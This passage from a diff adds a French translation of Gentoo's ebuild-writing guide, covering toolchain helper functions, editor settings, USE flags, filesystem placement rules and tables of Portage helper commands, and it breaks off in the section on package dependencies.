+  <ti>Retourne le nom de l'inspecteur de symboles</ti>
+</tr>
+<tr>
+  <ti>
+    <c>tc-getRANLIB</c>
+  </ti>
+  <ti>Retourne le nom de l'indexeur d'archive</ti>
+</tr>
+<tr>
+  <ti>
+    <c>tc-getF77</c>
+  </ti>
+  <ti>Retourne le nom du compilateur Fortran</ti>
+</tr>
+<tr>
+  <ti>
+    <c>tc-getGCJ</c>
+  </ti>
+  <ti>Retourne le nom du compilateur Java</ti>
+</tr>
+<tr>
+  <ti>
+    <c>tc-getBUILD_CC</c>
+  </ti>
+  <ti>Retourne le nom du compilateur C pour la compilation</ti>
+</tr>
+<tr>
+  <ti>
+    <c>tc-is-cross-compiler</c>
+  </ti>
+  <ti>Indique si on fait une compilation croisée</ti>
+</tr>
+<tr>
+  <ti>
+    <c>gcc-fullversion</c>
+  </ti>
+  <ti>
+    Retourne la version telle que reçue par la commande $($CC -dumpversion)
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>gcc-version</c>
+  </ti>
+  <ti>Retourne la version, uniquement &lt;major&gt;.&lt;minor&gt;</ti>
+</tr>
+<tr>
+  <ti>
+    <c>gcc-major-version</c>
+  </ti>
+  <ti>Retourne le numéro de version majeur</ti>
+</tr>
+<tr>
+  <ti>
+    <c>gcc-minor-version</c>
+  </ti>
+  <ti>Retourne le numéro de version mineur</ti>
+</tr>
+<tr>
+  <ti>
+    <c>gcc-micro-version</c>
+  </ti>
+  <ti>Retourne le numéro de version micro</ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Règles à utiliser pour écrire un fichier ebuild</title>
+<body>
+
+<p>
+Dans la mesure où les fichiers ebuilds ne sont effectivement que des scripts
+shell, vous devriez pouvoir utiliser le mode d'écriture de scripts shell de
+votre éditeur pour les créer et modifier. Vous devez utiliser une indentation
+correcte, en n'utilisant que des tabulations (<e>pas d'espaces</e>).
+Assurez-vous que votre éditeur affiche les tabulations à moins de quatre
+espaces. Toujours s'assurer que vous utilisez des accolades pour encadrer les
+variables d'environnement. Par exemple, <c>${P}</c> au lieu de simplement
+<c>$P</c>.
+</p>
+
+<p>
+Les longues lignes sont coupées avec des «&nbsp;\&nbsp;», comme par
+exemple&nbsp;:
+</p>
+
+<pre caption="Couper une ligne dans un ebuild">
+./configure \
+--prefix=/usr || die "configure failed"
+</pre>
+
+<p>
+Pour plus de détails, référez-vous à <path>skel.ebuild</path> (en général il se
+trouve dans <path>/usr/portage</path>).
+</p>
+
+<p>
+Si vous utilisez Vim pour éditer des ebuild ou eclass, le fichier par défaut de
+vimrc, <path>/etc/vim/vimrc</path>, s'assure déjà de l'indentation correcte et
+des configurations concernant le type de fichier des ebuild et eclass
+existent.  Pour de meilleurs résultats, comme par exemple avoir une coloration
+syntaxique spécifique aux mots-clefs des ebuilds, installez
+<c>app-vim/gentoo-syntax</c>.
+</p>
+
+<p>
+Sur les systèmes non Gentoo, vous pouvez obtenir des résultats similaires en
+utilisant les lignes suivantes dans votre vimrc, ou mieux en installant les
+scripts de <uri
+link="https://developer.berlios.de/projects/gentoo-syntax/">gentoo-syntax</uri>.
+</p>
+
+<pre caption="Configurer vimrc pour éditer des ebuilds">
+au BufRead,BufNewFile *.e{build,class} let is_bash=1|setfiletype sh
+au BufRead,BufNewFile *.e{build,class} set ts=4 sw=4 noexpandtab
+</pre>
+
+<p>
+Si vous utilisez emacs, vous pouvez ajouter les lignes suivantes à la fin de
+votre fichier .emacsrc (pour GNU Emacs) ou init.el (pour XEmacs) pour vous
+assurer d'utiliser une configuration correcte lors de l'édition de tout ce qui
+est lité à Gentoo&nbsp;:
+</p>
+
+<pre caption="Configurer emacsrc pour éditer les ebuilds">
+(defun ebuild-mode ()
+  (shell-script-mode)
+  (sh-set-shell "bash")
+  (make-local-variable 'tab-width)
+  (setq tab-width 4))
+(setq auto-mode-alist (cons '("\\.ebuild$" . ebuild-mode) auto-mode-alist))
+(setq auto-mode-alist (cons '("\\.eclass$" . ebuild-mode) auto-mode-alist))
+</pre>
+
+<p>
+Si vous utilisez nano, alors vous avez de la chance&nbsp;! Éditez simplement
+<path>/etc/nanorc</path> et décommentez la section liée aux ebuilds.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Les paramètres USE</title>
+<body>
+
+<p>
+L'objectif des variables USE est de vous permettre de configurer Portage et de
+généraliser et automatiser l'utilisation ou la non utilisation de certaines
+<e>options de compilation</e>. Voici un exemple. Imaginons que vous soyez un
+fan de GNOME et vous voulez que tous les ebuilds qui ont <c>gnome</c> comme
+option de compilation le supporte effectivement. Alors, vous ajouteriez
+<c>gnome</c> à votre variable <c>USE</c> dans <path>/etc/make.conf</path> et
+Portage ajoutera automatiquement les possibilités optionnelles de GNOME dans
+vos ebuilds si elles sont disponibles. Sinon, si vous ne voulez pas des options
+GNOME dans vos ebuilds alors qu'elles sont disponibles, éditez tout simplement
+<path>/etc/make.conf</path> et assurez-vous que <c>gnome</c> <e>n</e>'est
+<e>pas</e> présent dans la variable <c>USE</c>. Gentoo a un nombre important de
+paramètres USE vous permettant d'obtenir un système configuré exactement comme
+vous le souhaiteriez. De plus, vous pouvez désormais utiliser un paramètre
+<c>USE</c> par paquet, en éditant le fichier
+<path>/etc/portage/package.use</path>.
+</p>
+
+<note>
+Si vous enlevez un paramètre USE (par exemple, enlever <c>gnome</c> de
+<c>USE</c>), cela ne fera que préciser à Portage de ne pas activer le support
+<e>optionnel</e> de GNOME dans vos paquets. Cela dit, si vous installez un
+ebuild qui <e>nécessite</e> GNOME, alors le paquet aura évidemment le support
+de GNOME activé, comme vous pouviez vous en douter. Cela signifie également que
+GNOME sera installé automatiquement (en tant que dépendance) s'il ne l'était
+pas encore. C'est pourquoi c'est toujours une bonne idée de faire un <c>emerge
+--pretend</c> (ou mieux <c>emerge --ask</c>) avant de procéder à l'installation
+effective. De cette manière, vous saurez exactement ce qui sera installé par
+<c>emerge</c>.
+</note>
+
+<p>
+Dans vos propres ebuilds, vous pouvez vérifier si un paramètre USE est présent
+ou non en utilisant la commande <c>use &lt;variable&gt;</c>. La commande
+<c>use</c> affiche <c>&lt;variable&gt;</c> si celle-ci est présente dans les
+<c>USE</c> de l'utilisateur. Vous pouvez l'utiliser comme suit&nbsp;:
+</p>
+
+<pre caption="Vérifier qu'un paramètre USE est défini">
+if use X; then
+  # Commands specific to X...
+fi
+</pre>
+
+<p>
+Les paramètres USE peuvent également être utilisés pour définir des
+dépendances.  Par exemple, vous voulez qu'un paquet soit nécessaire si un
+paramètre USE précis est utilisé. Cela se fait en utilisant la syntaxe
+<c>param?  (macategorie/monpaquet)</c> dans la variable <c>DEPEND</c> de votre
+ebuild. Dans cet exemple, <c>macategorie/monpaquet</c> ne seront requis que si
+<c>param</c> est présent dans <c>USE</c>. Il est également possible de
+spécifier une dépendance qui devrait être honorée si un certain paramètre USE
+<e>est</e> présent et quelle dépendance devrait être utilisée si il <e>n'est
+pas</e> présent. Cela se fait ainsi&nbsp;: <c>param? ( macat/monpaquet )</c> et
+<c>!param? ( autrecat/autrepaquet )</c>. Dans ce cas, si <c>param</c> n'est
+pas présent, <c>autrecat/autrepaquet</c> sera utilisé à la place de
+<c>macat/monpaquet</c>. Assurez-vous que vos ebuilds utilisent cette syntaxe et
+non pas une condition BASH. Les conditions BASH interfèrent avec le cache des
+dépendances de Portage et l'utilisation de celles-ci casserait votre ebuild.
+</p>
+
+<p>
+Voici un point important sur l'utilisation de <c>USE</c>. La plupart du temps,
+un paquet aura un script <c>./configure</c> utilisé pour effectuer les diverses
+étapes de configuration. En général, si votre ebuild utilise
+<c>./configure</c>, toutes les fonctionnalités optionnelles seront activées ou
+désactivées en passant les bons arguments à la commande <c>./configure</c>.
+Voici le meilleur moyen de faire cela&nbsp;:
+</p>
+
+<pre caption="Conditions utilisant les paramètres USE">
+DEPEND="X?       ( &gt;=x11-base/xfree-4.3 )
+       mysql?    ( &gt;=dev-db/mysql-3.23.49 )
+       apache2?  ( &gt;=net-www/apache-2 )
+       !apache2? ( =net-www/apache-1* )"
+
+src_compile() {
+  econf \
+    $(use_enable X x11) \
+    $(use_enable mysql) \
+    || die "Error: econf failed!"
+  emake || die "Error: emake failed!"
+}
+</pre>
+
+<p>
+Cette méthode produit un très bon résultat. Nous n'avons pas à nous préoccuper
+de savoir quelles sont les configurations par défaut pour mysql ou X
+(activé/désactivé), nous indiquons explicitement à <c>econf</c> ce que nous
+voulons qu'il fasse, d'après les paramètres <c>USE</c>. En plus, vous obtenez
+un code propre et facile à lire.
+</p>
+
+<p>
+Parfois, des options peuvent être conflictuelles. Retourner une erreur dans ce
+cas n'est pas une solution. Il vaut mieux choisir la meilleure option et
+ignorer l'autre. Pour cela, consultez les responsables du paquet en amont pour
+voir ce qu'ils recommandent, voyez quelle solution offre le plus de
+fonctionnalités ou lancez une pièce et choisissez pile ou face.  Par exemple,
+l'ebuild <c>msmtp</c> peut utiliser SSL avec GnuTLS ou avec OpenSSL, ou pas de
+SSL du tout. GnuTLS est préféré, car il offre plus de fonctionnalités que
+OpenSSL.
+</p>
+
+<pre caption="Choisir parmi des options conflictuelles">
+src_compile() {
+    local myconf
+ 
+    if use gnutls ; then
+        myconf="${myconf} --enable-ssl --with-ssl=gnutls"
+    elif use ssl ; then
+        myconf="${myconf} --enable-ssl --with-ssl=openssl"
+    else
+        myconf="${myconf} --disable-ssl"
+    fi
+ 
+    econf \
+        # Other stuff
+        ${myconf} \
+        || die "configure failed"
+ 
+    emake || die "make failed"
+}
+</pre>
+
+<p>
+Pour avoir une table des paramètres USE mise à jour en permanence, voyez <uri
+link="/dyn/use-index.xml">ce lien</uri>.
+
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Emplacements des systèmes de fichiers</title>
+<subsection>
+<title>Introduction à FHS</title>
+<body>
+
+<p>
+Les standards de systèmes de fichiers utilisés dans Gentoo Linux suivent de
+près le système FHS (pour <e>File system Hierarchy Standard</e>, standard de
+hiérarchie dans les systèmes de fichiers). Une description simplifiée de ce
+standard vous est proposée dans ce chapitre&nbsp;; pour avoir les
+spécifications complètes, vous pouvez consulter le site <uri
+link="http://www.pathname.com/fhs/">pathname</uri>.
+</p>
+
+<note>
+La hiérarchie <path>/opt</path> est donnée dans la section 3.12 du FHS. La
+section 4.4 s'occupe de ce qui concerne le répertoire <path>/usr/X11R6</path>.
+KDE et GNOME ne sont pas précisés dans le standard et ne sont en fait même pas
+mentionnés dans la version actuelle de FHS.
+</note>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Comment placer vos paquets dans le système de fichiers</title>
+<body>
+
+<p>
+Normalement, si le paquet utilise autoconf et automake, les destinations par
+défaut de l'installation du paquet sont correctes, à quelques exceptions
+près&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Si vous installez un programme dans <path>/bin</path>, <path>/sbin</path>,
+    <path>/usr/bin</path> ou <path>/usr/sbin</path>, alors les pages de manuel
+    correspondant à votre programme devraient être installées dans le répertoire
+    <path>/usr/share/man</path>. Cela peut se faire en général en le spécifiant
+    dans l'ebuild avec la ligne <c>./configure --mandir=/usr/share/man</c>.
+  </li>
+  <li>
+    Les fichiers info GNU doivent toujours être installés dans
+    <path>/usr/share/info</path>, <e>même si les fichiers info sont à propos de
+    programmes et outils spécifiques à X11, GNOME ou KDE</e>. Faites bien
+    attention.  <path>/usr/share/info</path> est l'<e>unique</e> emplacement
+    officiel pour les fichiers info GNU. Dans la mesure où plusieurs scripts
+    <c>./configure</c> installent pas défaut les fichiers info GNU dans
+    <c>/usr/info</c>, il est souvent nécessaire de faire un appel à
+    <c>./configure</c> avec pour argument <c>--infodir=/usr/share/info</c>.
+  </li>
+  <li>
+    Les fichiers de documentation sont installés dans
+    <path>/usr/share/doc</path> dans un sous-répertoire reflétant le nom, la
+    version et la révision d'un programme particulier. Cela s'applique à tous
+    les programmes&nbsp;: GNOME, KDE, X11, etc. Cependant, certains programmes
+    installeront de la documentation supplémentaire et les placeront dans la
+    hiérarchie <path>/usr/share</path> pour leurs propres besoins.
+  </li>
+  <li>
+    Les programmes et bibliothèques spécifiques à X11 doivent toujours être
+    installés dans <path>/usr</path> et non directement dans
+    <path>/usr/X11R6</path>. Nous réservons la hiérarchie
+    <path>/usr/X11R6</path> pour le système X, version 11, sortie R6 <e>en
+    personne</e>. D'autres distributions feront probablement une interprétation
+    différente du FHS concernant cette hiérarchie.
+  </li>
+  <li>
+    Les programmes GNOME et KDE, de la même manière, doivent être installés dans
+    <path>/usr</path>.
+  </li>
+</ul>
+
+<impo>
+Certaines distributions choisissent d'installer GNOME et KDE dans
+<path>/opt</path>. Il n'existe aucun standard pour ces environnements de bureau
+concernant l'endroit où doivent être installés leurs fichiers. Dans une optique
+de simplicité et de consistance, nous avons choisi d'installer tous les paquets
+KDE et GNOME dans la hiérarchie <path>/usr</path>.
+</impo>
+
+<p>
+En général, vos ebuilds doivent installer leurs fichiers dans l'arborescence
+<path>/usr</path>. <e>Quelques</e> programmes peuvent être compilés et liés
+avec ou non des bibliothèques de GNOME, KDE, X11, ce qui peut occasionner un
+peu de confusion. Notre solution consiste à tout installer dans
+<path>/usr</path>, ce qui empêche les ambiguïtés et évite une complexité
+inutile pour les auteurs d'ebuilds. L'emplacement dans lequel doivent être
+installés les fichiers d'un programme <e>ne doit pas</e> dépendre de la
+présence ou non de paramètres <c>USE</c>. Du coup, les ebuilds dans l'arbre de
+Portage s'installent <e>presque toujours</e> dans la hiérarchie
+<path>/usr</path> exclusivement.
+</p>
+
+<note>
+Le répertoire <path>/opt</path> est réservé dans Gentoo aux paquets uniquement
+binaires. Par exemple, mozilla-bin, acroread, netscape et realplayer. Les
+paquets installés ici auront en général un fichier
+<path>/etc/env.d/foo</path>.  Cela a pour objectif d'inclure dans
+l'environnement les répertoires et les variables additionnelles nécessaires.
+Pour plus d'informations sur <path>/etc/env.d</path>, lisez le chapitre ce <uri
+link="/doc/fr/handbook/handbook-x86.xml?part=2&amp;chap=5">Manuel
+Gentoo</uri>.
+</note>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Les scripts et utilitaires de Portage</title>
+<subsection>
+<title>Scripts publiques</title>
+<body>
+
+<p>
+Des scripts permettent à un administrateur système d'installer ou supprimer les
+paquets et de maintenir à jour la base de données des paquets.
+</p>
+
+<p>
+<c>ebuild</c> est l'outil de base du système de Portage&nbsp;: il effectue
+toutes les tâches principales comme par exemple désarchiver, compiler,
+installer, fusionner, désinstaller les paquets. Il est appelé en utilisant la
+commande&nbsp;: <c>ebuild chemin/vers/paquet.ebuild commande</c>. Les
+commandes disponibles sont&nbsp;:
+</p>
+
+<table>
+<tr>
+  <th>Commande</th>
+  <th>Description</th>
+  <th>Fonction <c>ebuild</c> associée</th>
+</tr>
+
+<tr>
+  <ti><c>setup</c>*</ti>
+  <ti>
+    Effectue toutes les commandes nécessaires avant qu'un ebuild ne commence
+    son travail effectif
+  </ti>
+  <ti><c>pkg_setup</c></ti>
+</tr>
+
+<tr>
+  <ti><c>depend</c></ti>
+  <ti>
+    Affiche les dépendances requises à la construction du paquet
+  </ti>
+  <ti>Non disponible</ti>
+</tr>
+
+<tr>
+  <ti><c>merge</c>*</ti>
+  <ti>
+    Désarchive, compile, installe et fusionne le paquet dans le système de
+    fichiers
+  </ti>
+  <ti>Non disponible</ti>
+</tr>
+
+<tr>
+  <ti><c>qmerge</c>*</ti>
+  <ti>
+    Fusionne le paquet dans le système de fichiers, en supposant que le
+    désarchivage, la compilation et l'installation ont déjà été exécutés
+  </ti>
+  <ti>Non disponible</ti>
+</tr>
+
+<tr>
+  <ti><c>unpack</c>*</ti>
+  <ti>
+    Désarchive une archive source dans le répertoire de travail
+  </ti>
+  <ti><c>src_unpack</c></ti>
+</tr>
+
+<tr>
+  <ti><c>compile</c>*</ti>
+  <ti>Compile le paquet</ti>
+  <ti><c>src_compile</c></ti>
+</tr>
+
+<tr>
+  <ti><c>rpm</c></ti>
+  <ti>Crée un RPM à partir du paquet</ti>
+  <ti>Non disponible</ti>
+</tr>
+
+<tr>
+  <ti><c>package</c></ti>
+  <ti>Crée un paquet Gentoo <c>tbz2</c></ti>
+  <ti>Non disponible</ti>
+</tr>
+
+<tr>
+  <ti><c>prerm</c>*</ti>
+  <ti>Exécute une étape de pré-suppression de paquet</ti>
+  <ti><c>pkg_prerm</c></ti>
+</tr>
+
+<tr>
+  <ti><c>postrm</c>*</ti>
+  <ti>Exécute une étape de post-suppression de paquet</ti>
+  <ti><c>pkg_postrm</c></ti>
+</tr>
+
+<tr>
+  <ti><c>preinst</c>*</ti>
+  <ti>Exécute une étape de pré-installation du paquet</ti>
+  <ti><c>pkg_preinst</c></ti>
+</tr>
+
+<tr>
+  <ti><c>postinst</c>*</ti>
+  <ti>Exécute une étape de post-installation du paquet</ti>
+  <ti><c>pkg_postinst</c></ti>
+</tr>
+
+<tr>
+  <ti><c>config</c></ti>
+  <ti>
+    Met en place une configuration par défaut, une fois que le paquet a été
+    fusionné
+  </ti>
+  <ti><c>pkg_config</c></ti>
+</tr>
+
+<tr>
+  <ti><c>touch</c>*</ti>
+  <ti>
+    Met à jour l'attribut mtimes pour chaque archive source dans un paquet
+  </ti>
+  <ti>Non disponible</ti>
+</tr>
+
+<tr>
+  <ti><c>clean</c>*</ti>
+  <ti>Nettoie le répertoire de travail pour un paquet</ti>
+  <ti>Non disponible</ti>
+</tr>
+<tr>
+  <ti><c>fetch</c>*</ti>
+  <ti>Récupère les archives sources du paquet</ti>
+  <ti>Non disponible</ti>
+</tr>
+<tr>
+  <ti><c>digest</c>*</ti>
+  <ti>Crée un fichier digest pour un paquet</ti>
+  <ti>Non disponible</ti>
+</tr>
+<tr>
+  <ti><c>test</c>*</ti>
+  <ti>Exécute la routine de test automatique du paquet</ti>
+  <ti><c>src_test</c></ti>
+</tr>
+<tr>
+  <ti><c>install</c>*</ti>
+  <ti>Installe le paquet dans le répertoire image</ti>
+  <ti><c>src_install</c></ti>
+</tr>
+<tr>
+  <ti><c>unmerge</c></ti>
+  <ti>Désinstalle le paquet du système de fichiers</ti>
+  <ti>Non disponible</ti>
+</tr>
+</table>
+
+<note>
+Les commandes avec un astérisque (*) ne sont en généralement utilisées que par
+le développeur.
+</note>
+
+<p>
+<c>emerge</c> installe de manière récursive le paquet et toutes ses dépendances
+dans le système de fichiers. Cette commande a de nombreuses options, faites un
+<c>emerge --help</c> pour en avoir la liste.
+</p>
+
+<p>
+<c>env-update</c> met à jour les fichiers de configuration (entre autres mais
+pas seulement&nbsp;: <path>/etc/ld.so.conf</path> et
+<path>/etc/profile.env</path>) pour inclure les changements effectués par les
+paquets installés.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Scripts et commandes privés</title>
+<body>
+
+<p>
+Vous pouvez utiliser certains scripts dans vos fichiers ebuilds pour réaliser
+des tâches communes.
+</p>
+
+<p>
+Si vous voulez un aperçu, jetez un œil aux scripts eux-mêmes dans
+<path>/usr/lib/portage/bin</path>.
+</p>
+
+<table>
+<tr>
+  <th>Commande</th>
+  <th>Valeur par défaut</th>
+  <th>Description</th>
+  <th>Exemple</th>
+</tr>
+
+<tr>
+  <ti><c>diropts</c></ti>
+  <ti>-m0755</ti>
+  <ti>Fixe les options utilisées lors de l'utilisation de <c>dodir</c></ti>
+  <ti><c>diropts -m0750</c></ti>
+</tr>
+
+<tr>
+  <ti><c>dobin</c></ti>
+  <ti>N/A</ti>
+  <ti>Installe les binaires spécifiés dans <path>DESTTREE/bin</path></ti>
+  <ti><c>dobin wmacpi</c></ti>
+</tr>
+
+<tr>
+  <ti><c>docinto</c></ti>
+  <ti><path>""</path></ti>
+  <ti>
+    Fixe le sous-répertoire relatif utilisé par <c>dodoc</c>
+    (<e>DOCDESTREE</e>)
+  </ti>
+  <ti><c>docinto exemples</c></ti>
+</tr>
+
+<tr>
+  <ti><c>dodir</c></ti>
+  <ti>N/A</ti>
+  <ti>Crée un répertoire, en utilisant de manière transparente ${D}</ti>
+  <ti><c>dodir /usr/lib/nouveaupaquet</c></ti>
+</tr>
+
+<tr>
+  <ti><c>dodoc</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installe les fichiers spécifiés dans le répertoire de documentation du
+    paquet en question (<path>/usr/share/doc/${PF}/DOCDESTTREE</path>) (voir
+    <c>docinto</c>)
+  </ti>
+  <ti><c>dodoc README *.txt</c></ti>
+</tr>
+
+<tr>
+  <ti><c>doexe</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installe les fichiers spécifiés avec le mode <e>EXEOPTIONS</e> (voir
+    <c>exeopts</c>) dans <path>EXEDESTTREE</path> (voir <c>exeinto</c>)
+  </ti>
+  <ti><c>doexe ${FILESDIR}/quake3</c></ti>
+</tr>
+
+<tr>
+  <ti><c>dohard</c></ti>
+  <ti>N/A</ti>
+  <ti>Crée un lien dur, en utilisant de manière transparente ${D}</ti>
+  <ti><c>dohard ls /bin/dir</c></ti>
+</tr>
+
+<tr>
+  <ti><c>dohtml</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installe les fichiers spécifiés et les répertoires dans
+    <path>/usr/share/doc/${PF}/html</path>
+  </ti>
+  <ti><c>dohtml -r doc/html/*</c></ti>
+</tr>
+
+<tr>
+  <ti><c>doinfo</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installe les fichiers spécifiés dans <path>/usr/share/info</path>, puis les
+    compresse avec gzip
+  </ti>
+  <ti><c>doinfo doc/*.info</c></ti>
+</tr>
+
+<tr>
+  <ti><c>doins</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installe les fichiers spécifiés avec le mode <c>INSOPTIONS</c> (voir
+    <c>insopts</c>) dans <path>INSDESTTREE</path> (voir <c>insinto</c>)
+  </ti>
+  <ti><c>doins *.png icone.xpm</c></ti>
+</tr>
+
+<tr>
+  <ti><c>dolib</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installe les bilbiothèques spécifiées dans <path>DESTTREE/lib</path> avec le
+    mode 0644
+  </ti>
+  <ti><c>dolib *.a *.so</c></ti>
+</tr>
+
+<tr>
+  <ti><c>dolib.a</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installe les bibliothèques spécifées dans <path>DESTTREE/lib</path> avec le
+    mode 0644
+  </ti>
+  <ti><c>dolib.a *.a</c></ti>
+</tr>
+
+<tr>
+  <ti><c>dolib.so</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installe les bibliothèques spécifées dans <path>DESTTREE/lib</path> avec le
+    mode 0755
+  </ti>
+  <ti><c>dolib.so *.so</c></ti>
+</tr>
+
+<tr>
+  <ti><c>doman</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installe les fichiers spécifiés dans <path>/usr/share/man/manX</path>,
+    selont le suffixe du fichier (file.1 ira dans <path>man1</path>)
+  </ti>
+  <ti><c>doman *.1 *.5</c></ti>
+</tr>
+
+<tr>
+  <ti><c>dosbin</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Installe les fichiers dans <path>DESTTREE/sbin</path>, en s'assurant qu'ils
+    sont exécutables
+  </ti>
+  <ti><c>dosbin ksymoops</c></ti>
+</tr>
+
+<tr>
+  <ti><c>dosym</c></ti>
+  <ti>N/A</ti>
+  <ti>Crée un lien symbolique, en utilisant ${D} de manière transparente</ti>
+  <ti><c>dosym gzip /bin/zcat</c></ti>
+</tr>
+
+<tr>
+  <ti><c>emake</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Exécute make avec <c>MAKEOPTS</c>. Certains paquets ne peuvent pas être
+    faits en parallèle. Utilisez <c>emake -j1</c> pour y échapper. Si vous devez
+    passer des arguments supplémentaires à make, donnez-les simplement à la
+    commande emake. Les utilisateurs peuvent utiliser la variable
+    d'environnement <c>EXTRA_EMAKE</c> pour passer des paramètres
+    supplémentaires à emake.
+  </ti>
+  <ti><c>emake</c></ti>
+</tr>
+
+<tr>
+  <ti><c>exeinto</c></ti>
+  <ti><path>/</path></ti>
+  <ti>Fixe la racine (<e>EXEDESTTREE</e>) pour la commande <c>doexe</c></ti>
+  <ti><c>exeinto /usr/lib/${PN}</c></ti>
+</tr>
+
+<tr>
+  <ti><c>exeopts</c></ti>
+  <ti>-m0755</ti>
+  <ti>Fixe les options utilisées lors de l'utilisation de <c>doexe</c></ti>
+  <ti><c>exeopts -m1770</c></ti>
+</tr>
+
+<tr>
+  <ti><c>fowners</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Applique l'appartenance spécifique d'un fichier à un utilisateur, en
+    utilisant la commande chown et en utilisant ${D} de manière transparente
+  </ti>
+  <ti><c>fowners root:root /sbin/fonctions.sh</c></ti>
+</tr>
+
+<tr>
+  <ti><c>fperms</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Applique les permissions spécifiques à un fichier spécifique via la commande
+    chmod, en utilisant ${D} de manière transparente
+  </ti>
+  <ti><c>fperms 700 /var/consoles</c></ti>
+</tr>
+
+<tr>
+  <ti><c>insinto</c></ti>
+  <ti><path>/usr</path></ti>
+  <ti>Fixe la racine (<e>INSDESTTREE</e>) pour la commande <c>doins</c></ti>
+  <ti><c>insinto /usr/include</c></ti>
+</tr>
+
+<tr>
+  <ti><c>insopts</c></ti>
+  <ti>-m0644</ti>
+  <ti>Fixe les options utilisées lors du lancement de <c>doins</c></ti>
+  <ti><c>insopts -m0444</c></ti>
+</tr>
+
+<tr>
+  <ti><c>into</c></ti>
+  <ti><path>/usr</path></ti>
+  <ti>
+    Fixe le préfixe de la cible (<path>DESTTREE</path>) pour toutes les
+    commandes 'do' (comme <c>dobin</c>, <c>dolib</c>, <c>dolib.a</c>,
+    <c>dolib.so</c>, <c>domo</c>, <c>dosbin</c>)
+  </ti>
+  <ti><c>into /</c></ti>
+</tr>
+
+<tr>
+  <ti><c>libopts</c></ti>
+  <ti>-m0644</ti>
+  <ti>Fixe les options utilisées lors de l'exécution de <c>dolib</c></ti>
+  <ti><c>libopts -m0555</c></ti>
+</tr>
+
+<tr>
+  <ti><c>newbin</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Couche supplémentaire à <c>dobin</c> qui installe le binaire spécifié et le
+    renomme de manière transparente au second argument.
+  </ti>
+  <ti><c>newbin ${FILESDIR}/vmware.sh vmware</c></ti>
+</tr>
+
+<tr>
+  <ti><c>newdoc</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Surcouche de <c>dodoc</c> qui installe le fichier spécifié et le renomme de
+    manière transparente au second argument
+  </ti>
+  <ti><c>newdoc README README.opengl</c></ti>
+</tr>
+
+<tr>
+  <ti><c>newexe</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Surcouche de <c>doexe</c> qui installe le fichier spécifié et le renomme de
+    manière transparente au second argument
+  </ti>
+  <ti><c>newexe ${FILESDIR}/xinetd.rc xinetd</c></ti>
+</tr>
+
+<tr>
+  <ti><c>newins</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Surcouche de <c>doins</c> qui installe le fichier spécifié et le renomme de
+    manière transparente au second argument
+  </ti>
+  <ti><c>newins ntp.conf.example ntp.conf</c></ti>
+</tr>
+
+<tr>
+  <ti><c>newman</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Surcouche de <c>doman</c> qui installe le fichier spécifié et le renomme de
+    manière transparente au second argument
+  </ti>
+  <ti><c>newman xboing.man xboing.6</c></ti>
+</tr>
+
+<tr>
+  <ti><c>newsbin</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Surcouche de <c>dosbin</c> qui installe le fichier spécifié et le renomme de
+    manière transparente au second argument
+  </ti>
+  <ti><c>newsbin strings strings-static</c></ti>
+</tr>
+
+<tr>
+  <ti><c>prepall</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Exécute <c>prepallman</c>, <c>prepallinfo</c> et <c>prepallstrip</c>.
+    Cette fonction s'assure de plus que toutes les bibliothèques dans
+    <path>/opt/*/lib</path>, <path>/lib</path>, <path>/usr/lib</path> et
+    <path>/usr/X11R6/lib</path> sont exécutables. Enfin, déplace et isole les
+    macros aclocal dans <path>/usr/share/aclocal</path>
+  </ti>
+  <ti><c>prepall</c></ti>
+</tr>
+
+<tr>
+  <ti><c>prepalldocs</c></ti>
+  <ti>N/A</ti>
+  <ti>
+     Archive de manière récursive avec gzip tous les fichiers de documentation
+     dans <path>/usr/share/doc</path>, en tenant compte de manière transparente
+     des liens symboliques
+  </ti>
+  <ti><c>prepalldocs</c></ti>
+</tr>
+
+<tr>
+  <ti><c>prepallinfo</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Archive de manière récursive avec gzip tous les fichiers info dans
+    <path>/usr/share/info</path>
+  </ti>
+  <ti><c>prepallinfo</c></ti>
+</tr>
+
+<tr>
+  <ti><c>prepallman</c></ti>
+  <ti>N/A</ti>
+  <ti>
+    Archive de manière récursive avec gzip toutes les pages man dans
+    <path>/opt/*/man/*</path>, <path>/usr/share/man/*</path>,
+    <path>/usr/local/man/*</path>, <path>/usr/X11R6/share/man/*</path> et
+    s'occupe de manière transparente des liens symboliques
+  </ti>
+  <ti><c>prepallman</c></ti>
+</tr>
+</table>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Les dépendances des paquets</title>
+<subsection>
+<title>Pourquoi les dépendances sont importantes</title>
+<body>
+
+<p>
+Portage est plus qu'un simple script qui vous permet d'unifier la méthode
+d'installation d'un projet quelconque (programme, bibliothèque) à partir des
+sources. Il récupère et installe également toutes les dépendances nécessaires si
+vous les spécifiez correctement dans votre ebuild.
+</p>
+
+<p>
+Dans les ebuilds officiels, toutes les dépendances ont été spécifiées de telle
+manière que si vous exécutez <c>emerge net-www/mozilla/mozilla-1.0</c>, Portage
+s'assurera que toutes les bibliothèques nécessaires à Mozilla seront construites
